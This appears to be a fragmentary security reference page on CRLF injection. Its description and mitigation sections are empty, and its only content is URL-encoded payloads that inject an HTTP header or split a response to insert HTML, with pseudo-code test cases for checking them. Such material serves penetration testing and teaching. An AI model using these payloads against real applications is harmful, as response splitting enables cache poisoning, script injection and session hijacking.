CRLF Injection
Description
Example with Scenario
Payloads and Test Cases
%0D%0AInjected-Header: injected%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<h1>Injected Content</h1>
%0D%0AInjected-Header: injected# Send payload to the server sendPayloadToServer("input=%0D%0AInjected-Header: injected") # Verify if the application includes the injected header checkForInjectedHeader("Injected-Header", "injected")
%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<h1>Injected Content</h1># Send payload to the server sendPayloadToServer("input=%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<h1>Injected Content</h1>") # Verify if the application splits the HTTP response checkForInjectedContent("<h1>Injected Content</h1>")
Mitigation
Last updated